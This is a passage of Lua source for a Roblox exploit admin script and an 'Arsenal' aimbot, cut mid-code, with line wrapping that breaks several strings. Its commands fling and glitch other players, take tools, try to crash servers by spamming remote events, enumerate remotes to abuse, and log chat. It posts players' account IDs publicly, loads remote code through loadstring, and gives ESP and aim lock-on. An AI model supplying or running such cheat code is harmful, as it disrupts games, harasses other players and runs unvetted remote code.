(string.sub(CMDBAR.Text, 8)) == "All" or (string.sub(CMDBAR.Text, 8)) == "ALL" then
cbringall = true
else
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
brplr = v.Name
end
end
cbring = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("uncbring") then
cbring = false
cbringall = false
end
if string.sub(CMDBAR.Text, 1, 5) == ("swap ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
local NOWPLR = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then

char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame
= NOW
wait(0.6)
tp(lplayer, game:GetService("Players")
[v.Name])
wait(0.4)
lplayer.Character.HumanoidRootPart.CFrame
= NOWPLR

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("glitch ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.4)
b = Instance.new("BodyForce")
b.Parent =
lplayer.Character.HumanoidRootPart
b.Name = "Glitch"
b.Force = Vector3.new(100000000,5000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unglitch") then

lplayer.Character.HumanoidRootPart.Glitch:Destroy()
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(10000,0,10000)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "unGlitch"
b.Force = Vector3.new(0,-5000000,0)
wait(2)

lplayer.Character.HumanoidRootPart.unGlitch:Destroy()
end
if string.sub(CMDBAR.Text, 1, 8) == ("grespawn") then
lplayer.Character.Humanoid.Health = 0
wait(1)
lplayer.Character.Head.CFrame =
CFrame.new(1000000,0,1000000)
lplayer.Character.Torso.CFrame =
CFrame.new(1000000,0,1000000)
end
if string.sub(CMDBAR.Text, 1, 8) == ("explorer") then

loadstring(game:GetObjects("rbxassetid://492005721")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 5) == ("anim ") then
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..
(string.sub(CMDBAR.Text, 6))
local track =
lplayer.Character.Humanoid:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if string.sub(CMDBAR.Text, 1, 7) == ("animgui") then

loadstring(game:GetObjects("rbxassetid://1202558084")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has
loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("savepos") then
saved =
lplayer.Character.HumanoidRootPart.CFrame

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved
position.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("loadpos") then
lplayer.Character.HumanoidRootPart.CFrame =
saved
end
if string.sub(CMDBAR.Text, 1, 5) == ("bang ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
local Anim2 = Instance.new("Animation")
Anim2.AnimationId =
"rbxassetid://148840371"
local track2 =
lplayer.Character.Humanoid:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unbang") then
banpl = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("bringmod ")
then
local function bringmodw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name ==
(string.sub(CMDBAR.Text, 10)) then
for i,ch in
pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart"))
then
ch.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
ch.CanCollide =
false
ch.Transparency =
0.7
wait()
ch.CFrame =
lplayer.Character["Left Leg"].CFrame
wait()
ch.CFrame =
lplayer.Character["Right Leg"].CFrame
wait()
ch.CFrame =
lplayer.Character["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("respawn") then
local mod = Instance.new('Model', workspace)
mod.Name = 're '..lplayer.Name
local hum = Instance.new('Humanoid', mod)
local ins = Instance.new('Part', mod) ins.Name
= 'Torso' ins.CanCollide = false ins.Transparency = 1
lplayer.Character = mod
end
if string.sub(CMDBAR.Text, 1, 8) == ("shutdown") then

game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in
pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and
v.Character:FindFirstChild'Head' then
for _,x in
pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound'
then x.Playing = true x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("delobj ") then
objtodel = (string.sub(CMDBAR.Text, 8))
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if v.Name == objtodel then
v:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("getplrs") then
for i,v in
pairs(game:GetService("Players"):GetPlayers())do
print(v)
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to
console. (F9)";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("deldecal") then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("opfinality")
then

loadstring(game:GetObjects("rbxassetid://1294358929")[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("remotes") then
remotes = true
added = true
game.DescendantAdded:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent")
then
print("A RemoteEvent was
added!")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end end
end)
game.DescendantAdded:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if
rmtfnctn:IsA("RemoteFunction") then
warn("A RemoteFunction
was added!")
warn(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end end
end)

game.DescendantAdded:connect(function(bndfnctn)
if added == true then
if binds == true then
if
bndfnctn:IsA("BindableFunction") then
print("A
BindableFunction was added!")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end end
end)

game.DescendantAdded:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent")
then
warn("A BindableEvent
was added!")
warn(" game." ..
bnd:GetFullName() .. " | BindableEvent")
print(" game." ..
bnd:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end end
end)

if binds == true then


for i,v in pairs(game:GetDescendants())
do
if v:IsA("BindableFunction") then
print(" game." ..
v:GetFullName() .. " | BindableFunction")
print(" game." ..
v:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end
for i,v in pairs(game:GetDescendants())
do
if v:IsA("BindableEvent") then
warn(" game." ..
v:GetFullName() .. " | BindableEvent")
print(" game." ..
v:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end
else
print("Off")
end
if remotes == true then
for i,v in pairs(game:GetDescendants())
do
if v:IsA("RemoteFunction") then
warn(" game." ..
v:GetFullName() .. " | RemoteFunction")
print(" game." ..
v:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end
wait()
for i,v in pairs(game:GetDescendants())
do
if v:IsA("RemoteEvent") then
print(" game." ..
v:GetFullName() .. " | RemoteEvent")
print(" game." ..
v:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end
else
print("Off")
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes";
Text = "Type ;noremotes to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("noremotes")
then
remotes = false
added = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes Disabled";
Text = "Type ;remotes to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("tpdefault")
then
spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
cbringing = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("stopsit") then
stopsitting = true
end
if string.sub(CMDBAR.Text, 1, 5) == ("gosit") then
stopsitting = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("version") then
print(adminversion)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Version";
Text = adminversion;
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("clicktp") then
clickgoto = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Press E to teleport to mouse
position";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("noclicktp")
then
clickgoto = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Click TP has been disabled.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("toolson") then
gettingtools = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Enabled";
Text = "Automatically colleting tools
dropped.";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("toolsoff") then
gettingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Disabled";
Text = "Click TP has been disabled.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("delcmdbar")
then
ScreenGui:Destroy()
end
if string.sub(CMDBAR.Text, 1, 5) == ("reset") then
lplayer.Character.Head:Destroy()
end
if string.sub(CMDBAR.Text, 1, 6) == ("state ") then
statechosen = string.sub(CMDBAR.Text, 7)
changingstate = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("gravity ") then
game:GetService("Workspace").Gravity =
string.sub(CMDBAR.Text, 9)
end
if string.sub(CMDBAR.Text, 1, 9) == ("looprhats")
then
removingmeshhats = true
end
if string.sub(CMDBAR.Text, 1, 11) == ("unlooprhats")
then
removingmeshhats = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("looprtool")
then
removingmeshtool = true
end
if string.sub(CMDBAR.Text, 1, 11) == ("unlooprtool")
then
removingmeshtool = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("givetool ")
then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Character:GetDescendants()) do
if v:IsA("Tool") then
for i,player in
pairs(GetPlayer(string.sub(CMDBAR.Text, 10))) do
v.Parent = player.Character
end
end
end
end
if string.sub(CMDBAR.Text, 1, 4) == ("age ") then
for i,player in
pairs(GetPlayer(string.sub(CMDBAR.Text, 5))) do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account Age: "..player.AccountAge.." days!", "All")
end
end
if string.sub(CMDBAR.Text, 1, 3) == ("id ") then
for i,player in
pairs(GetPlayer(string.sub(CMDBAR.Text, 4))) do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account ID: "..player.UserId, "All")
end
end
if string.sub(CMDBAR.Text, 1, 5) == (".age ") then
for i,player in
pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.AccountAge.." Days";
Text = "Account age of
"..player.Name;
})
end
end
if string.sub(CMDBAR.Text, 1, 4) == (".id ") then
for i,player in
pairs(GetPlayer(string.sub(CMDBAR.Text, 5))) do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.UserId.." ID";
Text = "Account ID of
"..player.Name;
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("gameid") then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. game.GameId;
})
end
if string.sub(CMDBAR.Text, 1, 3) == ("pgs") then
local pgscheck =
game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if string.sub(CMDBAR.Text, 1, 11) == ("removeinvis")
then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if v.Transparency == 1 then
if v.Name ~=
"HumanoidRootPart" then
v:Destroy()
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("removefog")
then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd =
9999999999999
end
if string.sub(CMDBAR.Text, 1, 7) == ("disable") then
lplayer.Character.Humanoid.Parent = lplayer
end
if string.sub(CMDBAR.Text, 1, 6) == ("enable") then
lplayer.Humanoid.Parent = lplayer.Character
end
if string.sub(CMDBAR.Text, 1, 13) == ("givealltools
") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
if v:IsA("Tool") then
v.Parent = lplayer.Character
wait()
for i,player in
pairs(GetPlayer(string.sub(CMDBAR.Text, 14))) do
v.Parent = player.Character
end
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("flyspeed ")
then
speedfly = string.sub(CMDBAR.Text, 10)
wait()
change()
end
if string.sub(CMDBAR.Text, 1, 7) == ("carpet ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
local Anim3 = Instance.new("Animation")
Anim3.AnimationId =
"rbxassetid://282574440"
local track3 =
lplayer.Character.Humanoid:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("uncarpet") then
banpl = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("stare ") then
for i,v in
pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
staring = true
stareplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unstare") then
staring = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("logchat") then
chatlogs = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("unlogchat")
then
chatlogs = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player
chat.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("fixcam") then

game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid

game:GetService("Workspace").CurrentCamera.CameraType = "Custom"
lplayer.CameraMinZoomDistance = 0.5
lplayer.CameraMaxZoomDistance = 400
lplayer.CameraMode = "Classic"
end
if string.sub(CMDBAR.Text, 1, 7) == ("unstate") then
changingstate = false
end
CMDBAR.Text = ""
end
end)

wait(0.3)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loaded successfully!";
Text = "Reviz Admin V2 by illremember";
})
wait(0.1)
print("Reviz Admin V2 loaded!")
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a
different admin script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a
different admin script.";
})
end

local intro = Instance.new("ScreenGui")


local Frame = Instance.new("Frame")
local ImageLabel = Instance.new("ImageLabel")
intro.Parent = game:GetService("CoreGui")
Frame.Parent = intro
Frame.BackgroundColor3 = Color3.new(1, 1, 1)
Frame.BackgroundTransparency = 1
Frame.Size = UDim2.new(1, 0, 0, 300)
Frame.Position = UDim2.new(0, 0, -0.4, 0)
ImageLabel.Parent = Frame
ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel.BackgroundTransparency = 1
ImageLabel.Position = UDim2.new(0, 0, 0, 0)
ImageLabel.Size = UDim2.new(1, 0, 1, 0)
ImageLabel.Image = "http://www.roblox.com/asset/?id=1542162618"
Frame:TweenPosition(UDim2.new(0, 0, 0.2, 0), "Out", "Elastic", 3)
wait(3.01)
Frame:TweenPosition(UDim2.new(0, 0, 1.5, 0), "Out", "Elastic", 5)
wait(5.01)
intro:Destroy()
end)

arrest.Name = "arrest"
arrest.Parent = main
arrest.BackgroundColor3 = Color3.new(0, 1, 1)
arrest.Position = UDim2.new(0.349623203, 0, 0.306112915, 0)
arrest.Size = UDim2.new(0, 110, 0, 32)
arrest.Font = Enum.Font.GothamBlack
arrest.Text = "Arrest"
arrest.TextColor3 = Color3.new(1, 0, 0)
arrest.TextSize = 14
arrest.MouseButton1Down:connect(function()
local mouse = game.Players.LocalPlayer:GetMouse()
local arrestEvent = game.Workspace.Remote.arrest
mouse.Button1Down:connect(function()
local obj = mouse.Target
local response = arrestEvent:InvokeServer(obj)
end)
end)

attach.Name = "attach"
attach.Parent = main
attach.BackgroundColor3 = Color3.new(0, 1, 1)
attach.Position = UDim2.new(0.679666638, 0, 0.304921538, 0)
attach.Size = UDim2.new(0, 111, 0, 32)
attach.Font = Enum.Font.GothamBlack
attach.Text = "Aimbot"
attach.TextColor3 = Color3.new(1, 0, 0)
attach.TextSize = 14
attach.MouseButton1Down:connect(function()
local plrs = game:GetService("Players")
local TeamBased = true ; local teambasedswitch = "o"
local presskeytoaim = true; local aimkey = "e"
local raycast = false

local espupdatetime = 5; autoesp = false


local lockaim = true; local lockangle = 5

--function findwat(folder, what)


-- for i, smth in pairs(folder:GetChildren()) do
-- if string.find(string.lower(tostring(smth)),
string.lower(what)) then
-- return smth
-- end
-- end
--end
--
--local plrs = findwat(game, "Players")

local Gui = Instance.new("ScreenGui")


local Move = Instance.new("Frame")
local Main = Instance.new("Frame")
local EspStatus = Instance.new("TextLabel")
local st1 = Instance.new("TextLabel")
local st1_2 = Instance.new("TextLabel")
local st1_3 = Instance.new("TextLabel")
local Name = Instance.new("TextLabel")
--Properties:
Gui.Name = "Gui"
Gui.Parent = plrs.LocalPlayer:WaitForChild("PlayerGui")

Move.Name = "Move"
Move.Parent = Gui
Move.BackgroundColor3 = Color3.new(0.545098, 0, 0)
Move.BackgroundTransparency = 1
Move.BorderSizePixel = 0
Move.Draggable = true
Move.Position = UDim2.new(0.005, 0, -0.15, 0)
Move.Size = UDim2.new(0.28141585, 0, 0.0320388414, 0)

Main.Name = "Main"
Main.Parent = Move
Main.BackgroundColor3 = Color3.new(1, 1, 1)
Main.Position = UDim2.new(0, -7, 20.9960003, 0)
Main.Size = UDim2.new(1, 0, 5.79699993, 0)
Main.Style = Enum.FrameStyle.RobloxSquare
EspStatus.Name = "EspStatus"
EspStatus.Parent = Main
EspStatus.BackgroundColor3 = Color3.new(1, 1, 1)
EspStatus.BackgroundTransparency = 1
EspStatus.Position = UDim2.new(0, 0, 0.300000012, 0)
EspStatus.Size = UDim2.new(1, 0, 0.162, 0)
EspStatus.Font = Enum.Font.ArialBold
EspStatus.Text = "Press O to change team based mode"
EspStatus.TextColor3 = Color3.new(0.6, 0.196078, 0.8)
EspStatus.TextScaled = true
EspStatus.TextWrapped = true

st1.Name = "st1"
st1.Parent = Main
st1.BackgroundColor3 = Color3.new(1, 1, 1)
st1.BackgroundTransparency = 1
st1.Position = UDim2.new(0.271787882, 0, 0, 0)
st1.Size = UDim2.new(0.728211343, 0, 0.161862016, 0)
st1.Font = Enum.Font.ArialBold
st1.Text = ""
st1.TextColor3 = Color3.new(0.0784314, 0.541176, 0)
st1.TextScaled = true
st1.TextSize = 14
st1.TextWrapped = true

st1_2.Name = "st1"
st1_2.Parent = Main
st1_2.BackgroundColor3 = Color3.new(1, 1, 1)
st1_2.BackgroundTransparency = 1
st1_2.Position = UDim2.new(0, 0, 0.875999987, 0)
st1_2.Size = UDim2.new(0.999999881, 0, 0.161862016, 0)
st1_2.Font = Enum.Font.ArialBold
st1_2.Text = "Press E to lock on a person inside ur view"
st1_2.TextColor3 = Color3.new(0.6, 0.196078, 0.8)
st1_2.TextScaled = true
st1_2.TextWrapped = true

st1_3.Name = "st1"
st1_3.Parent = Main
st1_3.BackgroundColor3 = Color3.new(1, 1, 1)
st1_3.BackgroundTransparency = 1
st1_3.Position = UDim2.new(0, 0, 0.54, 0)
st1_3.Size = UDim2.new(1, 0, 0.261999995, 0)
st1_3.Font = Enum.Font.ArialBold
st1_3.Text = "Press L to enable esp loop and press T to update
esp"
st1_3.TextColor3 = Color3.new(0.6, 0.196078, 0.8)
st1_3.TextScaled = true
st1_3.TextWrapped = true

Name.Name = "Name"
Name.Parent = Move
Name.BackgroundColor3 = Color3.new(0.545098, 0, 0)
Name.BackgroundTransparency = 1
Name.Position = UDim2.new(0, 25, 20.9860001, 0)
Name.Size = UDim2.new(0.838, 0, 1.27999997, 0)
Name.Font = Enum.Font.Arcade
Name.Text = "ARSENAL GUI"
Name.TextColor3 = Color3.new(0.541176, 0.168627, 0.886275)
Name.TextScaled = true
Name.TextSize = 12
Name.TextWrapped = true
-- Scripts:

local plrsforaim = {}

local lplr = game:GetService("Players").LocalPlayer


Move.Draggable = true
Gui.ResetOnSpawn = false
Gui.Name = "Chat"
Gui.DisplayOrder = 999

Gui.Parent = plrs.LocalPlayer.PlayerGui

f = {}
local espforlder

f.addesp = function()
--print("ESP ran")
if espforlder then
else
espforlder = Instance.new("Folder")
espforlder.Parent = game.Workspace.CurrentCamera
end
for i, v in pairs(espforlder:GetChildren()) do
v:Destroy()
end
for _, plr in pairs(plrs:GetChildren()) do
if plr.Character and plr.Character.Humanoid.Health >
0 and plr.Name ~= lplr.Name then
if TeamBased == true then
if plr.Team.Name ~=
plrs.LocalPlayer.Team.Name then
local e =
espforlder:FindFirstChild(plr.Name)
if not e then
--print("Added esp for team
based")
local bill =
Instance.new("BillboardGui", espforlder)
bill.Name = plr.Name
bill.AlwaysOnTop = true
bill.Size =
UDim2.new(1,0,1,0)
bill.Adornee =
plr.Character.Head
local Frame =
Instance.new('Frame',bill)
Frame.Active = true
Frame.BackgroundColor3 =
Color3.new(0.862745, 0.0784314, 0.235294)
Frame.BackgroundTransparency
= 0
Frame.BorderSizePixel = 0
Frame.AnchorPoint =
Vector2.new(.5, .5)
Frame.Position = UDim2.new
(0.5,0,0.5,0)
Frame.Size = UDim2.new
(1,0,1,0)
Frame.Rotation = 0

plr.Character.Humanoid.Died:Connect(function()
bill:Destroy()
end)
end
end
else
local e =
espforlder:FindFirstChild(plr.Name)
if not e then
--print("Added esp")
local bill =
Instance.new("BillboardGui", espforlder)
bill.Name = plr.Name
bill.AlwaysOnTop = true
bill.Size = UDim2.new(1,0,1,0)
bill.Adornee = plr.Character.Head
local Frame =
Instance.new('Frame',bill)
Frame.Active = true
Frame.BackgroundColor3 =
Color3.new(0/255,255/255,0/255)
Frame.BackgroundTransparency = 0
Frame.BorderSizePixel = 0
Frame.AnchorPoint = Vector2.new(.5,
.5)
Frame.Position = UDim2.new
(0.5,0,0.5,0)
Frame.Size = UDim2.new (1,0,1,0)
Frame.Rotation = 0

plr.Character.Humanoid.Died:Connect(function()
bill:Destroy()
end)
end
end

end
end
end
local cam = game.Workspace.CurrentCamera

local mouse = lplr:GetMouse()


local switch = false
local key = "k"
local aimatpart = nil
mouse.KeyDown:Connect(function(a)
if a == "t" then
print("worked1")
f.addesp()
elseif a == "u" then
if raycast == true then
raycast = false
else
raycast = true
end
elseif a == "l" then
if autoesp == false then
autoesp = true
else
autoesp = false
end
end
if a == "j" then
if mouse.Target then
mouse.Target:Destroy()
end
end
if a == key then
if switch == false then
switch = true
else
switch = false
if aimatpart ~= nil then
aimatpart = nil
end
end
elseif a == teambasedswitch then
if TeamBased == true then
TeamBased = false
teambasedstatus.Text = tostring(TeamBased)
else
TeamBased = true
teambasedstatus.Text = tostring(TeamBased)
end
elseif a == aimkey then
if not aimatpart then
local maxangle = math.rad(20)
for i, plr in pairs(plrs:GetChildren()) do
if plr.Name ~= lplr.Name and
plr.Character and plr.Character.Head and plr.Character.Humanoid and
plr.Character.Humanoid.Health > 1 then
if TeamBased == true then
if plr.Team.Name ~=
lplr.Team.Name then
local an =
checkfov(plr.Character.Head)
if an < maxangle then
maxangle = an
aimatpart =
plr.Character.Head
end
end
else
local an =
checkfov(plr.Character.Head)
if an < maxangle then
maxangle = an
aimatpart =
plr.Character.Head
end
print(plr)
end

plr.Character.Humanoid.Died:Connect(function()
if aimatpart.Parent ==
plr.Character or aimatpart == nil then
aimatpart = nil
end
end)
end
end
else
aimatpart = nil
end
end
end)

function getfovxyz (p0, p1, deg)


local x1, y1, z1 = p0:ToOrientation()
local cf = CFrame.new(p0.p, p1.p)
local x2, y2, z2 = cf:ToOrientation()
--local d = math.deg
if deg then
--return Vector3.new(d(x1-x2), d(y1-y2), d(z1-z2))
else
return Vector3.new((x1-x2), (y1-y2), (z1-z2))
end
end

function getaimbotplrs()
plrsforaim = {}
for i, plr in pairs(plrs:GetChildren()) do
if plr.Character and plr.Character.Humanoid and
plr.Character.Humanoid.Health > 0 and plr.Name ~= lplr.Name and plr.Character.Head
then

if TeamBased == true then


if plr.Team.Name ~= lplr.Team.Name then
local cf =
CFrame.new(game.Workspace.CurrentCamera.CFrame.p, plr.Character.Head.CFrame.p)
local r = Ray.new(cf, cf.LookVector
* 10000)
local ign = {}
for i, v in
pairs(plrs.LocalPlayer.Character:GetChildren()) do
if v:IsA("BasePart") then
table.insert(ign , v)
end
end
local obj =
game.Workspace:FindPartOnRayWithIgnoreList(r, ign)
if obj.Parent == plr.Character and
obj.Parent ~= lplr.Character then
table.insert(plrsforaim, obj)
end
end
else
local cf =
CFrame.new(game.Workspace.CurrentCamera.CFrame.p, plr.Character.Head.CFrame.p)
local r = Ray.new(cf, cf.LookVector *
10000)
local ign = {}
for i, v in
pairs(plrs.LocalPlayer.Character:GetChildren()) do
if v:IsA("BasePart") then
table.insert(ign , v)
end
end
local obj =
game.Workspace:FindPartOnRayWithIgnoreList(r, ign)
if obj.Parent == plr.Character and
obj.Parent ~= lplr.Character then
table.insert(plrsforaim, obj)
end
end

end
end
end

function aimat(part)
cam.CFrame = CFrame.new(cam.CFrame.p, part.CFrame.p)
end
function checkfov (part)
local fov = getfovxyz(game.Workspace.CurrentCamera.CFrame,
part.CFrame)
local angle = math.abs(fov.X) + math.abs(fov.Y)
return angle
end

game:GetService("RunService").RenderStepped:Connect(function()
if aimatpart then
aimat(aimatpart)
if aimatpart.Parent == plrs.LocalPlayer.Character
then
aimatpart = nil
end
end
-- if switch == true then
-- local maxangle = 99999
--
-- --print("Loop")
-- if true and raycast == false then
-- for i, plr in
pairs(plrs:GetChildren()) do
-- if plr.Name ~= lplr.Name
and plr.Character and plr.Character.Head and plr.Character.Humanoid and
plr.Character.Humanoid.Health > 1 then
-- if TeamBased then
-- if
plr.Team.Name ~= lplr.Team.Name or plr.Team.TeamColor ~= lplr.Team.TeamColor then
--
local an = checkfov(plr.Character.Head)
--
if an < maxangle then
--
maxangle = an
--
aimatpart = plr.Character.Head
--
if an < lockangle then
--
break
--
end
--
end
-- end
-- else
-- local an
= checkfov(plr.Character.Head)
--
if an < maxangle then
--
maxangle = an
--
aimatpart = plr.Character.Head
--
if an < lockangle then
--
break
--
end
--
end
-- end
--
--
--
--
-- end
-- end
-- elseif raycast == true then
--
-- end

